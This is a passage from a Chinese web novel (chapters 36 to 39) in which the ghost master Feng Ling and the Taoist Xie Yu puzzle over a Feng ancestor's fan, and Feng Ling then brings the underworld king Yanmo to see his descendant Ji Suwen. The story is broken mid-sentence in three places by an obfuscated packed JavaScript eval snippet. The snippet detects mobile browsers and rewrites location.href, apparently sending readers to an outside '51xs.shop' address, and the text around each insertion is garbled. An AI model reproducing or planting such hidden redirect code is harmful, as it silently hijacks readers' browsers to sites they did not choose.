“解公子此言正合灵英的意,”酆灵英拱手谢过,“烦请公子将今日所听之事俱数转达给那位大人。若能就此找回先祖遗骸,灵英感激不尽!” “酆姑娘客气了。” 解玉连忙回了一礼,又有些心虚地摸了摸鼻梁。他的帮忙本就不算纯粹,哪里还值得酆灵英这样的感激。 只是,他该怎么和封灵说呢…… 解玉觉得自己的头更疼了。 36. 几番猜测 解玉返回北地城隍庙时,正值日头最大的晌午,地面被晒得滚烫不说,连处遮阳的树荫也找不到。揩了揩额头的汗,解玉毫不停留地回到客房,却意料之外地没有看见本该在摇椅上躺着的红色身影。 还没回来么…… 解玉路过正殿时,还特意张望过几眼。当时殿内一片安静,只有未燃尽的几缕青烟,便猜想今日的仪式已经结束了。 所以,这位鬼师娘娘是又跑去哪里逍遥了? 解玉沉思几瞬,果断转身回了正殿。将将拐过长廊的工夫,视线便捕捉到那抹倚坐栏杆的熟悉红影。封灵正拿了本半薄不厚的册子低头翻看,城隍主乌贺就站在她的身前,两手抱胸地与之说着什么。 “……解道长这就回来了?” 解玉原以为他们有正事要商量,本想悄无声息地先回客房,却被乌贺余光一瞥地给看到了,当即招呼起来。 解玉只好上前,先朝乌贺见了一礼,“城隍主好……鬼大王,我刚从东街回来,已经和酆姑娘说完事情了。” 封灵嗯了一声,抬头扫了眼伫立在旁的乌贺,驱赶意味明显。后者耸了耸肩,朝解玉一点头,干脆利落地抬脚走人,只临消失前又叮嘱了一句,“记住我说的话,别忘了。” “鬼大王,我是不是来得不凑巧,耽误你跟城隍主商量正事了?”解玉没看懂乌贺走前瞥向他的那抹眼神,只好挠着头向封灵询问,“是我有什么做错的地方吗?还是哪里违了城隍庙的规矩?” 封灵收了卷册,轻飘飘地落到距解玉几个身位的更前方,背对着冲人挥了挥手,后者便自觉地跟上。 “是在说你,但都是些不打紧的小事,”封灵嫌弃般避开地面上的光影,“一会儿再同你细说罢……你今日去见了酆灵英,她有说出什么中用的话吗?” 解玉顿时精神一振,正想开口与封灵说个全乎,迎面遇上结伴去膳堂的两个庙祝,几句话后脚下便被迫转了方向,显然热情过了头的庙祝试图将人拖去膳堂同用午饭。 双拳难敌四手,解玉踉跄几步还是被拖着离客房越来越远。艰难地回过头,‘鬼大王’三个字还没来得及喊出口,封灵掩扇偷笑的表情便先一步入了解玉的眼。 「看来他们应该是得了乌贺的话,生怕没有招待好你。解道长,你慢慢吃,我就先回客房歇着去了。」 红衣鬼丝毫没有被抓包的自觉,迎着解玉不敢置信的眼睛,面上笑容更加开怀。再度朝男人摆了摆手,封灵踏着轻快的步伐消失在长廊拐角。 …… 又是大半个时辰过去,解玉才勉强摆脱了两个庙祝的“纠缠”,脚步沉重地回到客房。一进屋便看见窗棂半开,封灵细长惨白的指节正从窗外缓缓收回。 “……鬼大王?” 解玉轻声唤了一句,又自然走到封灵的身边。红衣鬼却只睨了人一眼,没有任何开口的意思,后者旋即说起了酆灵英的事情。 也没有详细到把每个字都告诉封灵,有些不打紧的,解玉便也只挑着关键的地方简单几句,又说起自己听后的两个猜测,跟着便沉默地等待封灵的反应,后者也确实闭口不语了许久。 倒不是为了解玉那点无根由的猜测,她只是对酆灵英口中的女坤先祖感到好奇。趁着这段时日得空,她将从秦广王手里得来的卷册翻了个囫囵,上面录撰的东西比她想象中要少上许多。 不是每一个酆家人都能被留在第一殿的卷册中,又被秦广王亲自保管的。能得到如此“殊荣”的,只有承继酆家并接任国师的那一个人罢了。酆家存世已有千年,但如此算下来,也不过在卷册中留下了三十余人的名姓和生平而已。 这其中,自然没有酆灵英口中的那位女先祖的名字。毕竟在她之前,酆家也没出过女子承宗的先例。只是依酆灵英的说法,这位女先祖活着的时间应该早在数百年以前,甚至很可能是酆家刚发迹的那会儿…… 就是不知道,这女子是不是与那位敢向酆都大帝讨要好处的凡人身处同一代了。 “……你的猜测有些意思,”封灵从层层思绪中抽离,“但是与那人同为姐妹的说法,就不必再提了。” “为何不可能是姐妹?鬼大王,你又不记得生前的事情了,万一就是自己忘记了呢?” 解玉纠结许久才留下的两个猜测,顷刻间便被封灵砍去一半,他少不得要再为自己争取一二。 “我说没有,那就是没有,”封灵嫌弃般看了人一眼,“若我在人间还留有血宗亲缘,又为何会沦落到四时八节都没人奉祭香蜡纸钱的地步?” 这倒也是。 若没有太子的这桩差事,封灵如今还只能靠他三不五时接济的一点香火呢…… “那,那便只剩一个可能了,”解玉想到自己的另一个猜测,疏忽之下竟直接脱口,“鬼大王,你原来真是只千年老鬼哪!” “哎哟——” 下一瞬,解玉便整个人翻倒在了地面。 封灵慢条斯理地整着袖子,从鼻腔深处发出一声轻哼,“解道长,你刚才说了什么,我好似没有听清。可否再重复一次?” 解玉一下子收起想要痛呼的阵势,顾不得身上传来的隐隐钝痛,干脆利落地从地上爬起来,两目低垂,态度诚恳。 “我刚才说,那便只剩下一个可能了,”解玉全然不提方才说错的那句话,只拿着之前的猜测继续道,“鬼大王,你说不定是那个没有入画的,看着酆姑娘先祖战死又遗落了折扇的旁观者。” 这话怎么听着这么奇怪? “……你猜归猜,为何还要加那么多的铺垫,倒像是你亲眼所见的一般。” 红衣鬼“啪嗒”一下合上折扇,威胁似的在男人面前舞了好几下。 解玉身上的痛还没有散去,闻言缩了缩脖子,大着胆子又道:“鬼大王,你这次没有反驳我,那就是你也认这个猜测了?” 只凭解玉带回来的只言片语,封灵能做的猜测也不过寥寥。但至少有一点她能肯定,便是她与酆家的那位女先祖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176234|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝非一人。 她是一只恶鬼,是生前犯下无数罪业又被仇人上门索命的大恶鬼,她身上的凶煞厉气无从作假。可酆家的那位女先祖,却是死于救护手足、除鬼为民的大功绩里,甚至还有无数后人缅怀惦念。更说不定早投胎了许多次,忘却前程往事后,在人间过起了衣食无忧、幸福美满的好日子。 区别如此之大,又怎会是同一人呢? 封灵颇觉好笑地摇了摇头,正要答复解玉的话,却突兀地怔愣了一瞬。看来是这段日子过得太安逸了,竟叫她险些忘记了转轮王曾说过的那些话。 “那把扇子,或许是酆都大帝遗落在人间的,”封灵不住地摩挲着扇柄,“转轮王曾对我说过,酆都大帝在人间丢过一把折扇,因沾了阳世间的生气,又被凡人故意藏了起来,所以一直没有找回来……便是我手里的这一把,也是你在鬼市上看到的那一把。” 解玉垂目看去。 如今离得更近了,他越瞧越觉得与画上的那把折扇相似……怕真就是同一把。 “这线索不就又断了么!” 解玉一下子泄了气,整个人显得有些怏怏不乐。还以为可以帮封灵解决些小麻烦,又或是一步到位找回封灵丢失的记忆,结果到头来还是一场空。 红衣鬼却歪着脑袋,须臾勾起一抹极浅的笑弧,“你的话是猜测,我的话也是猜测,如今都没有找到什么真凭实据,又如何能断定谁说的才对呢?” “那,我……” 解玉有些反应过来了。 “接下来的这段时间,你便多与酆灵英生些往来罢,”封灵开始安排起来,“她家的文籍中既能出现那把折扇的踪影,指不定还留有别的记载。酆灵英不是想为她的先祖殓骨么,你就借着这个由头多让她帮些忙吧。” 解玉自然没有异议,点着头又答了一句知道了。 “……哦,对了,”封灵又道,“太子的事情还没有了结,所以接下来的一长段时间,我们或许都要留在乌贺这里了。他教了你不少有用的东西,咱们也不好一直白吃白拿,你修习间隙便去接几单抓鬼的小生意吧,也算是给庙祝的买菜钱。” 解玉又是一点头,示意自己没问题。毕竟他们现在是真的占了人便宜,能有机会稍稍弥补一点也是好的。 就是听着不像是封灵会说出口的话,倒像是在铺垫着什么。 果不其然,红衣鬼的下一句接踵而至—— “乌贺是正经受了册的城隍主,每日要处理的公文无数,之后估计也没什么工夫看顾你。至于我么,太子的百日香火自今日开始,接下来的三个多月,我大半时间都会留在城隍庙正殿,约莫也看顾不到你,所以……” 解玉自觉听懂了封灵的言下之意,也想着借此机会好好磨练一番,遂正色道:“鬼大王放心,我会看顾好自己的,你跟城隍主——” “所以,我提前给你找好了帮手。” 红眸愉悦地眯起,鬼师娘娘自觉十分周全地堵了解道长的话。 37. 欲说还休 给他……找了个帮手? 想起进屋那会儿封灵站在窗边时手里的动作,解玉一下子恍然,“鬼大王,所以刚才你是在……” “我给纪苏文传了封信,晚些时候再干脆去莫县见他一面,”封灵总算躺回了摇椅,“请他这段时间辛苦些,在你抓鬼的时候跟在身边,以备不时之需……地府那边的态度,我也还得跟他通个气才行。” 解玉听后却生出其他的顾虑,“可是,鬼差们不还在找寻纪鬼差的下落么……若因我的事情,让纪鬼差三不五时地奔波于望京和莫县之间,会不会被日、夜游神他们察觉?” “去酆都庙的那一次,他也是从头到尾跟在你我身边的,当时并没有被地府察觉。想来只要他不出手,再将鬼气敛入身体内,当也无虞。” 封灵显然不是一时兴起,做下决定前已然细细考虑了许多,“所以你也别指望纪苏文能帮你多少,我就是喊他来当双眼睛。真遇上解决不了的,早些逃跑,或是在心底唤我过去。勿要硬抗,先保住小命再说,记住了吗?” 解玉搬着矮凳坐到红衣鬼身边,内心只觉一阵安宁。虽然嘴里总说着嫌弃的话,封灵却从来都替他考虑得清楚,更不会真将他推出去做挡箭牌。 最开始明明是为了自己捡懒,才半勾搭半强迫地拉他上了“贼船”的,怎么如今倒反过来了,变成她来替自己担心了。 解玉想着,面上不自觉带了笑意,又一点点蔓延至眼底深处。封灵看过来时,便正好落入男人专注看向自己的璨亮星眸里。 这人的眼睛,倒跟他的脸一样好看…… 封灵恍惚了一瞬,旋即欲盖弥彰地抬高声音,“你这算什么表情,是不满意我的安排吗!” 郑重其事地摇头,解玉迎上视线莫名飘忽的红眸,缓缓道:“我就是觉得自己太弱了,每次都只能等鬼大王你来救我……还会因为自己的不谨慎连累你受伤。” 解玉的视线缓缓下移,又落在封灵早看不出伤痕的惨白手腕上,整个人有些恹恹。 “这怎么一样?” 封灵的语气不自觉温柔起来,“你是人,我是鬼。你受伤了会死,我受伤了却连痛都不会痛一下……再说了,你是我自己选的同伙,我当然不能让你有事,否则我鬼师娘娘的名号不就扫地了吗!” 解玉眸光闪烁了几下,“……我早晚都是要死的。若能混个英年早逝,还能将就现在的这张皮跟鬼大王你一起留在地府。到时候也不会再痛了,不就可以更好地做你的、同伙了吗?” 这人怎么会升起这样的念头? 封灵稍稍坐直了身子,难得露出了几分严肃,“解玉,生老病死才是人之常态,你现在应该想的,是如何趁活着的时候多抓些鬼积攒功业,来日寿终入地府也好换个更好的命格,舒舒服服的轮回转世。” “……我死后,不能留在地府吗?” 解玉却一反常态地细问起来。 红衣鬼面色一滞,陷入了莫名心虚的沉默当中。若告诉这人,她已经做好了等人寿终就将他扣在地府的准备,会不会一下子把人给吓跑了? 还是先不要冒险了,谁知道解玉是一时兴起,还是深思熟虑之后的考量呢! “倒也不是,”封灵斟酌着说辞,还是决定给解玉留些希望,“若你能像陆判官那般,做凡人时便替无辜者洗刷冤屈,积功积善无数,或许死后也能够跳脱轮回,从一个末等的鬼差开始做起。” 解玉本已暗淡的眼神陡然亮了起来。 红衣鬼一不做二不休,又拿出纪苏文的情况举例,“或者你回去翻翻你家族谱,万一也有个在地府做阎王的祖宗,保不齐就直接勾你下去当鬼差了呢?” 这一次,带了三分调侃的意味。 原本沉凝的氛围蓦地一轻,解玉清俊的脸上重新绽出笑容,“若我能多抓些鬼,多救下些受苦百姓,是不是就能在死后跟鬼大王你做同僚了?” 封灵干脆利落地点头,难得没有故意吊人胃口。反正不管解玉能不能做成鬼差,都不碍着她把人扣下来,左右结果都是一样的,过程便由得解玉自己摸索罢! 解玉总算听到了自己想要的答案,整个人松快不少,眼中更闪着跃跃欲试的光芒。若说此前只是想不拖封灵后腿,如今便有了更进一步的渴盼——他想和地府鬼师做同僚,也想……和封灵如现在这般继续下去。 那时,便算不得人鬼殊途了。 解玉想道。 尚不知道自己被惦记上的封灵,看着眼前这人难得喜形于色的表情,默默咽回了剩下的话。左右消弥恶业是她自己的事情,快些慢些的都无妨,更何况都过去一千年了,她投胎的日子依旧遥遥无期……若解玉最后真决定留在地府,她便也不去等那不知猴年马月才能有结果的轮回了,就这样跟解玉做对“鬼见鬼怕”的同伙也挺好。 “鬼大王,那我明日……不,今日便去外面找找活计吧?” 解玉的态度一下子热切起来。 “之后还有三个多月的时间呢,足够你出去练手了,”红衣鬼忍不住用扇子戳了戳男人肩膀,“这几日先留在城隍庙,让乌贺再教你些其他东西,也等我与纪苏文通过气后再去。” “知道了。” 解玉笑得更加开怀。 说话间,窗外重又飞进一只纸鹤,不偏不倚地落进红衣鬼师正摊开的掌心。抬手将其拆开,封灵盯着纸上的内容看了几眼,又合拢手掌任其散落成光点。 “哦,对了,乌贺让你酉时一刻的时候过去找他……还让你带上七星剑,应该是想趁那时得空再提点你几句,”封灵叮嘱起来,“这会儿时辰尚早,你可先在客房小憩片刻。我去一趟莫县,给你把纪苏文的事情解决了。” 解玉答了句好,又追问道:“那鬼大王你何时回来?” 若放在往常,这人是绝不敢问的,今天的胆子倒大的出奇。而封灵却也由着,带着似有若无的纵容,“今日晚间,或是明日晨间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187079|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢……总归得把事情交代清楚,我也还要赶回来吃香火呢。” 盘算着要与纪苏文细说的事情,封灵在心底估摸了个时间。没工夫再与解玉闲话,简单两句后便消失在了客房。 …… 又回到莫县山脚,封灵却没有急着登纪苏文的门,反绕着附近的野林来回走动起来。虽然已经在信里提过了,纪苏文也毫不犹豫地答应了,但毕竟是请他去做解玉的帮手,如今虽不是为这件事上门,却也不好空手造访……也太失礼了些。 话虽如此…… 封灵低头看着自己空荡荡的两只袖衣,实在觉得是心有余而力不足。她若是只有钱的恶鬼,也不会到现在还指望着解玉烧来的那点纸钱了,更别提纪苏文随手就能拿出的几十年金灿灿的功业。 红眸四处逡巡了会,封灵果断决定捡些能吃的果子,再掐几枝花带给蔺秋茹。上次见到这对鬼鸳鸯时,蔺秋茹的手里便提了个装有果子的小竹篮,想来是会需要的。 打定了主意,又仗着此地偏僻无人,封灵便干脆地凝出鬼身,化出一个布兜后朝林地更深处的野果下起手来。好在这会儿的日头已有些偏移,不至于晒得她难受。 走两步停一步地胡乱捡了一通,又各种颜色的野花全扯了一轮,红衣鬼感受着兜里沉甸甸的分量,自觉这上门的礼节已做到了位。正欲消失离开,却突兀地顿住脚步,一双红眸带着极浅的惊疑四下张望着。 她怎么觉得,又哪里不对劲…… 封灵从来都不怀疑自己的直觉。翻袖将兜袋装的东西缩小收回怀里,红衣鬼师一动不动地定在原地,左手上翻抛出一枚符纹,右手三指并拢从眼皮上划过。红眸陡然亮了一下,封灵带着不快的表情扫视起周遭环境来,试图找出这个不知死活的潜藏者。 “……找到了。” 将视线停在林间的更深处,红衣鬼师的嘴角噙起一抹冷笑,手腕翻转召出折扇便是狠狠一挥。数道风刃凭空出现在封灵的正前方,带着不加掩饰的杀意向前袭去。 变故在这一刻发生。 像是被什么无形的屏障生生挡去了般,封灵挥出的风刃突兀地停在了半空,又在下一刻调转方向直冲面门而来。红眸猛地收缩,退后两步堪堪擦肩避开,封灵诧异地看向前方。 人间何时有这么厉害的邪祟了? 红衣鬼师捏紧了扇柄,正要换过勾魂索狠狠回击,一直未停的风中却突然传来股熟悉的异香。 是却死香。 封灵的神色开始变幻不定起来。会在这时候出现在莫县,又招呼都不打一句地直接跟自己动手……除了来找纪苏文的鬼差外,封灵想不到第二种可能。 缓缓收起折扇,封灵试探地朝林丛的方向见了一礼,又佯装不知般开口:“……我乃地府鬼师封灵,不知前方的是哪一位鬼差?” 却死香的气味更加浓郁。 不多时,林后徐徐走出一道熟悉的身影。 阎魔王! 38. 见与被见 封灵的表情有些不自然起来。 “……听说第五殿近来颇为忙碌,阎魔王您怎么得空来人间了?” 下意识摸了摸怀里的兜袋,红衣鬼决定先发制人。 “烦劳封鬼师替老夫在莫县寻找那不成器的玄孙,既凑巧遇见,便特意过来道谢。” 阎魔王嘴里虽说着客套的话,面上的表情却全然不是那么一回事。踏着重重的脚步,满脸花白胡子的阎王大人气势汹汹地停在封灵身前,再开口便是另一套说辞了—— “封鬼师,鬼师娘娘!老夫在地府里等了你那么多日,你竟一次都不想踏足我的第五殿吗!” 阎魔王的声音陡然升高,带着不敢置信的愤怒与不满,“你有什么缺的少的,只管来告诉老夫。老夫做不到的,自会再找其他的阎王判官去做……可你、你怎么能直接就不来了呢!” 她怎么听不懂在说什么? 封灵试图理解,“可是谁打着我的旗号找您要好处了?阎魔王放心,我绝不是那种无事占鬼便宜的鬼,您若再听到这样的话,直接命鬼差打走就是!” “……封鬼师,你这会就不必再拿这套话来蒙老夫了罢!”阎魔王一副我已经心知肚明的表情,“我那没出息的小玄孙呢?鬼师娘娘把他藏到哪里去了,还请带我去见他一面!” 果然是为了纪苏文来的。 这事原也没什么好遮掩的,只如今四野荒僻、白日尚存,保不齐就有日游神躲在哪里偷听,她万不能在这当头功亏一篑,白白漏了纪苏文的行踪。 “您说的这叫什么话!”封灵比阎魔王的反应更大,“我若找到了纪鬼差的下落,早把他带去给陆判官了,做甚要自己藏着……陆判官当时可还许了我百年的功业呢!” 一副油盐不进的模样。 “你这个女娃娃——” 阎魔王指着封灵摇头失笑,语气一下子和缓起来。正欲再说些什么,却突然像驱赶蚊虫般振了两下袖子,挥着手臂带出几缕微弱光芒散向四周,又迅速地消失在空中。 “这下总可以放心说了罢?” 重新将手拢回袖里,阎魔王勉为其难地朝封灵抬了抬下巴,催促意味明显。 红眸合上又张开,封灵的脸上多出几分一言难尽。也不知道是不是她的错觉,总觉得阎魔王这套动作太过行云流水……就好像已经做过无数遍了。 怪不得能被罚去押解新鬼…… “您怎么就能笃定我是知情者呢?”封灵卸去故作惊讶的假象,好奇便开始涌了出来,“难道真是听信了日、夜游神他们的话?” 阎魔王不屑地哼了一声,“那小子的本事我还是清楚的……去人间逮只情煞鬼罢了,能遇上什么危险?老夫给他点的长明灯还燃得起劲的很呢!” 您那位不知多少代的玄孙还真是被要逮的情煞鬼给绊住了…… 封灵在心底腹诽道。 “女娃娃,还不快给老夫说说他躲哪里去了,”阎魔王又开始催促起来,“这小子是不是做鬼差做烦了,所以偷溜出去躲懒了?老夫好不容易才把他安排进察查司,眼看以后的前途大好,这小子竟敢在这当头给我闹失踪……混账东西!” 这些东西,就这么说给她听真的好么…… 封灵有些惆怅起来。 “……您既然早确定纪苏文没事,做何还要让鬼差们去寻他呢?”封灵实在看不懂这位阎王大人在想些什么,“还有,您刚才对我动手的那一下,似乎也没有留任何情面呢!” 红衣鬼师幽幽补上一句。 阎魔王抬手捋着胡子,一副再理所不过的表情,“他都被划去察查司了,让陆判手底下的鬼差找一找怎么了?真被扣了回来,那也是他自己的本事修炼不到家,能怪得了谁……至于你这个女娃娃,谁让你做了那个知情不报的同谋者,还敢让老夫白等你这么久,活该吃些苦头!” 阎魔王说着说着,又挑剔般地打量了封灵两眼,“不过么,你的修为还算是不错。才死了一千年,就能练到这个地步,确实有些天赋。” 红衣鬼干巴巴地笑了一声,眼角隐隐有些抽搐……这算是牵连她之后,又给她的一点找补么? “听够了吧!老夫堂堂一个地府阎王,站在这里陪你说了半天的话,该透给你的也都透干净了,还不快带老夫去找那混账小子!” 阎魔王的语气又开始暴躁起来。 “是是是,我这就带您去见他。” 封灵重新扬起一抹笑容,十成十的温柔可亲。若是解玉还跟在一起,定能一眼看出这骗了他许多次的不怀好意的笑容。只可惜,阎魔王没有跟封灵打过几次交道,自然也就不知道这是鬼师娘娘预备算计谁时的惯用套路。 红眸上下扫视过阎魔王的衣着,封灵露出比之前更为明显的嫌弃,“阎魔王,您这身打扮怕是不好去见纪苏文的。” 后者怀疑地看向封灵,又埋头打量起自己的这身衣袍,“哪里不妥?这可是阎王爷才能穿的官服,那小子又不是没有见过!” 红衣鬼师扬起一抹堪称愉悦的弧度,可谓镇定地炸出一记响雷,“纪鬼差如今正和妻子住一处呢,您还是别把自己的孙、玄孙媳妇给吓到了。” 看着阎魔王一瞬间挑高的浓眉,封灵毫无负担地回以一笑。左右是纪苏文自己说的不必隐瞒,那她也只好全盘相告了。说话间又旋身一变,身上的红衣换作了素纱白衣,连绑发的丝带也改成了与衣裙更相配的玉笄。 “真不是故意折腾您。您看,我这不也换了身打扮吗?” 封灵抬起手,当着阎魔王的面左右比划了两下,又等候般的停在原地。饶是已经被胡子盖去大半张脸,封灵依旧能看清楚这位阎王老爷面上的不情愿。 “……我可是纪家的老祖宗!” 阎魔王胸膛起起伏伏,从喉咙深处里挤出几个含糊不清的音节,俨然还有些别扭。 封灵却抬头看了眼天色,深觉再耽搁下去自己今日就别想回城隍庙了。遂掐着诀翻袖一挥,阎魔王身上的繁复官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201002|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服便换成了寻常的麻衣布衫。封灵尤觉不够,手上动作一改,又给这位阎王老爷添了个装药的背篓。如此,便与在山林间采药的老医师大差不差的了。 蔺秋茹只有执念里的那点记忆,估计也早记不得她了。上次大咧咧地穿着红衣,还能说是路边偶遇的缘故,这次上门拜访,还是穿得像个乡野凡人为好,也免得让纪苏文再找理由蒙混。 还有阎魔王身上的鬼神气息……蔺秋茹只是只普普通通的情煞鬼,怕是光站在阎魔王身边就会痛苦难受。 “记得再把您通身的鬼气收起来,这人间可没几个能受得住的。” 迅速交待两句,封灵趁着阎魔王还震惊于自己的“新”身份时,果断上前将其带离了莫县山脚。 …… “请问纪公子在家吗?” 封灵站在篱笆墙外的鹅卵石小径上,一手“搀”住阎魔王,一手拎着早前准备好的装有野果与花枝的兜袋,佯装陌生般询问道。 不多时,从门后走出一道熟悉的身影,正是一别月余的纪苏文,身边还跟着好奇同行的蔺秋茹。 幸亏她防了一手。 纪苏文疾行两步,正要招呼封灵入内,一转头却看到了身旁佝偻着背脊的阎魔王,手上动作顿时一僵。 “……纪郎,他们是你认识的人吗?” 蔺秋茹站在阶上,见纪苏文上前迎人却又迟迟没有动作,忍不住询问起来。 跟解玉相处的时间长了,封灵也学会那人几分装模作样的本事。神态自然地拍了拍纪苏文,又暗暗使着劲将阎魔王带进院子,封灵担起了给蔺秋茹编故事的重任—— “您就是秋茹姑娘吧,”迎上蔺秋茹茫然的眼神,封灵对着又一次见面的情煞鬼放软了声调,“我们是来这附近采药的大夫。前些日子不慎在山林间迷了路,险些绕不出去。好在被偶然经过的纪公子搭救,这才捡了条命回来……今日,是特意来道谢的。” 说着便松开了阎魔王的胳臂,又将一直拎在手里的兜袋递过去。后者闻言漾起一抹灿烂的笑,高兴地接过兜袋,又举着它朝落后两步进来的纪苏文示意,“纪郎,我们又有甜果子吃了!” 纪苏文本来紧张的情绪陡然一松,不顾还盯在自己脸上的灼烫目光,先应起蔺秋茹的话来,“是,又有甜果子了……秋茹,去把东西放下,让客人们进屋坐吧。” 蔺秋茹诶了一声,两手抱住兜袋朝封灵又笑了笑,这才往侧边的灶间走去。 封灵左看一眼沉默不语的纪苏文,右看一眼进院后突然没有了动作的阎魔王,自觉要为这对爷孙留出个可以说话的地方,索性快走几步追上了蔺秋茹,随意编了个理由就一起进了灶间。 身后安静几瞬,不出意外地传来了重物坠地的声音。蔺秋茹似有所觉地回头,又迅速被封灵挡去全部的注意力。 关起门来教训自家人的事情,她就不掺和了,将蔺秋茹这边稳住就行。封灵抬手撩起额前被风吹得有些散乱的长发,笑得眉眼弯弯。 39. 达成共识 “……还没有请教姑娘的名姓呢,”蔺秋茹背对着敞开的屋门,正低着头将洗净的野果一点点摆放在盘中,“还有院外的那位老翁,是姑娘家中的长辈吗?” 封灵朝左迈了两步,不时用余光关注着院子里的动静,闻言笑道:“我姓封,单字一个灵。至于那位老翁么,是……教我医术的老师,我此行正是跟着他老人家来这附近采药的。” 蔺秋茹摆好果盘,又朝里处走了两步,倾身从壁架取下几个撇口杯,探着头张望了两眼。似乎没能找到自己想要的东西,蔺秋茹面带羞惭地转身,又与封灵说起话来,“本该给你们沏些茶水才是,但我们自己晒的茶叶已经没有了……封姑娘,实在抱歉,只能先请你们将就用些白水了。” “秋茹姑娘客气了,”封灵听着院里的动静,在蔺秋茹看过来的瞬间不着痕迹地往旁边一歪,装出热情帮忙的样子揽过女子的胳臂,又将情煞鬼的注意力带回自己的身上,“我与老师都是风餐露宿惯了的,能有口白水喝也是很好了。” 蔺秋茹只笑了笑,反手拉过封灵便将她推到一边,“哪有让客人动手的道理。封姑娘,你跟那位老翁一块儿去正屋坐着吧,我这里也弄得差不多了。若可以,请姑娘帮我将纪郎唤进来,他也是主人家呢,还该他一起来招待你们才是。” 默默在心底掐算了把时间,封灵估摸着阎魔王也该差不多消停了,遂不再推辞地一点头,又刻意扬了声音,“我这就让纪公子进来,他说不定正和老师聊得高兴,这才一时忘了时间呢!” 话音刚落,纪苏文的身影便出现在门外,除开额间有几缕鬓发微乱,一切倒也如常,看来阎魔王还是没舍得下狠手。 “……与老爷子一见如故,今日再逢便难免多聊了些,不曾想险些怠慢了客人,”纪苏文顺着封灵的话继续往下圆,“封姑娘,还请你帮我将老爷子搀进正屋,我与秋茹马上过来。” 看来阎魔王与纪苏文两个虽在外面你来我往地“交谈”,但门内的话是一句都没少听哪! 封灵笑容灿烂地朝蔺秋茹一点头,又与纪苏文对视两眼,看清对方眼里的苦笑后,干脆利落地出了灶间,而后看见了高昂着脑袋,背脊挺直地站在院前台阶上的阎魔王。 封灵的嘴角又开始抽搐起来。哪有七老八十、半只脚都踏进棺材里的人能这么精神抖擞的……这是生怕被蔺秋茹看不出破绽吗? 毫不客气地拍下一掌,封灵用力将这位阎王老爷的后背摁低了些,压着声音不满道:“您如今只是个在山野采药的普通大夫,摆出这幅气势汹汹的模样做甚?蔺秋茹可马上就要出来了,您还是先跟我去正屋坐着吧。” “小女娃,你可没跟老夫说那小子的妻子是只情煞鬼,是不是就等着看老夫的笑话呢!” 阎魔王嘴唇翕动,同样放轻了声音。面上虽还有几分被欺瞒的不快,身体却老实顺着封灵的动作一点点佝偻了下去,深一步浅一步地往正屋的方向走,看来也不是真的生气。 “您就不觉得蔺姑娘的模样眼熟吗?” 封灵转而搀住阎魔王的胳臂,想起纪苏文曾经说过的那些话,试探性地问了一句。 “哼,不就是他小子生前的夫人么……不知道因为什么原因做了情煞鬼,被这兔崽子在人间撞上了,然后就放心不下了呗!” 阎魔王朝到现在都没有人出来的灶间瞥了两眼,一副恨铁不成钢的语气。 “……您当年若一并将蔺姑娘也带进了地府,哪里还会发生今日的事情?” 封灵做戏做全套地将阎魔王扶上圈椅,又以防万一般站在他的身后,就着刚才的话继续提问。算是给自己解闷,也算是帮纪苏文再试探一轮,看看蔺秋茹还有无其他转机。 顺便,也和解玉的情况做些比对。 “老夫又不是酆都大帝,想把谁带回地府都行……我能将纪苏文留下来就不错了!” 阎魔王这会比封灵还关注屋外的动静,生怕被看出哪里有不对劲的地方,特意压低了声音,“那小姑娘的命数我看过,是个比纪苏文还差的,一早就得病死,根本就撑不到攒足功业入地府的时候……老夫便给她下辈子定了个好命数,谁知道这丫头压根就没去投胎呢!” 听起来,阎魔王还是考虑过蔺秋茹这个不知第多少代的孙媳妇的,那她情煞鬼的身份和与纪苏文的来日,也未必就全无办法了…… 封灵出神地想着,不知道又被纪苏文拿什么借口绊住的蔺秋茹总算姗姗来迟。 “老伯,封姑娘,抱歉让你们久等了。” 蔺秋茹将果盘和点心搁上桌子,又接过纪苏文端在手里的撇口杯,分别递到阎魔王与封灵的手边。封灵接过一看,杯底零星散着几根茶叶梗,算不得是全然的白水。而那点心,也是她离开灶间前蔺秋茹不曾找到的……想来纪苏文也不全是为了隔开她与阎魔王,也在尝试从家中翻出些待客的物事。 纪苏文没有动用过鬼力,他是真的在与蔺秋茹过凡人日子,重复又重复。 阎魔王瞥了站得稍远的纪苏文一眼,低头抿了口“茶水”,又啪嗒一声搁回桌面,“纪公子能有蔺姑娘这么一位夫人,真是他上辈子修来的福分哪!” 故意在‘上辈子’三个字上加重了语气。 